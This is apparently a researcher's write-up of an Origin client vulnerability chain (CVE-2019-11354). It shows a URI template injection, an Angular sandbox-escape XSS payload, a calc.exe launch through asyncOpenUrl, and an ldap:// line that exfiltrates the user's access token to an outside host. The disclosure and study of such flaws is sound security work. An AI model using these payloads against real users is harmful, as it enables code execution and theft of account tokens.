A Questionable Journey From XSS to RCE
[ xss , rce ]

Introduction

As many of you reading this probably already know, in mid April, a good friend of mine (@Daley) and I located a Remote Code Execution vulnerability in EA’s Origin client (CVE-2019-11354). Today I’m going to go in depth on how we discovered this vulnerability, along with a couple others we needed to chain along the way ;pp

Debugging Origin

A lot of what was discovered was enabled by QtWebEngine debugging. By passing a specific flag to the origin process, we can hook Chrome devtools to the process and inspect the web view.

In order to set up remote debugging, you have to enable port-forwarding in the chrome devtools. To do this you need to start chrome and open the devtools. From there, open the Remote Devices view, enable port forwarding, and fill in the settings as needed.

Now we can start the origin process.

Origin.exe --remote-debugging-port=31337

If you navigate to localhost:31337 in chrome, you’ll be met with the devtools, and from there, you can do all the poking around you need.

Origin URI Handler

URI exploitation isn’t new by any means. For a long time it has provided reliable ways of delivering payloads and executing commands on remote computers. The idea of being able to execute remote commands by simply having your target visit a web-page is obviously more than ideal to any threat actor.

In this scenario, the whole idea behind registering a custom URI handler is for ease-of-access. For example, Origin’s handler is mainly there to be able to launch or purchase games from your web-browser. As soon as you click one of those links, your Origin client will launch with the parameters supplied by the crafted URI.

The Origin URI provides us with a few options we can use. To launch a game, we can use the following URI. This option gives us a few parameters. That’s where we’ll find our first bug.

origin://game/launch/?offerIds=OFFERID

The First Bug (Template Injection)

The first bug relies on the fact that when Origin recieves an invalid game ID, it gives you the option to manually add it to your game library. In the dialog that pops up, it also echoes out the title of the game you’d like to add. If the game isn’t recognized by Origin, how is it supposed to fetch a title, you may be asking. That’s where the “title” parameter comes in handy.

We can quite literally specify any title we want by simply using the following link:

origin://game/launch/?offerIds=0&title=zer0pwn

This initially prompted me to try injecting HTML to see if maybe there was a possibility for XSS. You can tell that the HTML is being interpreted when you use the following link:

origin://game/launch/?offerIds=0&title=<h1>zer0pwn

I figured it would be as simple as injecting script tags to execute javascript, however this was not the case. After a little bit of digging, I discovered that the front-end is primarily developed in Angular. Angular does a lot of stuff with templating, so I figured maybe there was a possibility of template injection. Sure enough, a simple payload of 7*7 got evaluated.

origin://game/launch/?offerIds=0&title={{7*7}}

The Second Bug (XSS)

Obviously with a client-side template injection vulnerability, we’re limited to executing actions on the client. However, we can leverage this to evaluate our own Javascript and potentially compromise user sessions.

Angular is notorious for sandboxing, which means that we’re going to have to do some funky scripting in order to execute what we want. Thankfully some researchers have already compiled a gist of Angular sandbox-escapes, which is what we used.

By using the following payload in the title param, we were able to pop an alert box (l33th4x!!!!11)

{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(l),a')}}

The Third Bug (RCE)

Now, this part of the exploit is relatively trivial. QDesktopServices itself isn’t necessarily vulnerable here, however the way that Origin has implemented it, on top of the other vulnerabilties, it ended up with a pretty nasty result.

According to the Qt documentation, “The QDesktopServices class provides methods for accessing common desktop services. Many desktop environments provide services that can be used by applications to perform common tasks, such as opening a web page, in a way that is both consistent and takes into account the user’s application preferences.”

Now here’s the crazy part… There is actually an SDK (by Origin) in which you can communicate with the client’s QDesktopServices via a javascript library. This only works if it’s launched within the Origin client (obviously).

By accessing Origin.client.desktopServices in the DOM, we can find the following functions:

: function asyncOpenUrl()
: function asyncOpenUrlWithEADPSSO()
: function deminiaturize()
: function flashIcon()
: function formatBytes()
: function getVolumeDiskSpace()
: function isMiniaturized()
: function miniaturize()
: function moveWindowToForeground()
: function setNextWindowUUID()
: function showWindow()

Some of these functions are pretty cool. If you call flashIcon(), you’ll see the Origin icon flashing (big surprise, right). Most of the functions are pretty self explanatory actually, so I won’t bother going into them.

What we had luck with was asyncOpenUrl(). This function basically calls QDesktopServices openUrl() function, which in turn opens a web browser, or whatever application is registered with the provided URI. According to the documentation, you can also load local resources. Sounds promising, right ;)?

We can literally open a calculator with the following javascript:

Origin.client.desktopServices.asyncOpenUrl("calc.exe")

What else can we do?

As I mentioned earlier, Origin has a CSP in place which makes exfiltration somewhat difficult. If we use the ldap:// URI handler in conjunction with asyncOpenUrl(), we can send an LDAP request along with the data we want to exfiltrate.

"ldap://safe.tld/o="+Origin.user.accessToken()+",c=UnderDog"

From the server, start tcpdump and set the necessary filters and you should see the data being transmitted in plaintext.

The Origin.user object contains a bunch of other information as well.

: function accessToken()
: function country()
: function dob()
: function email()
: function emailStatus()
: function globalEmailSignup()
: function isAccessTokenExpired()
: function originId()
: function personaId()
: function registrationDate()
: function sessionGUID()
: function showPersona()
: function tfaSignup()
: function underAge()
: function userGUID()
: function userPid()
: userStatus()

Wasn’t this patched?

Electronic Art’s rolled out a patch, however there are bypasses available as some on Twitter have decided to share. This highlights the issue once again and should be addressed by sanitizing all types of input, as the initial patch failed to do so.

References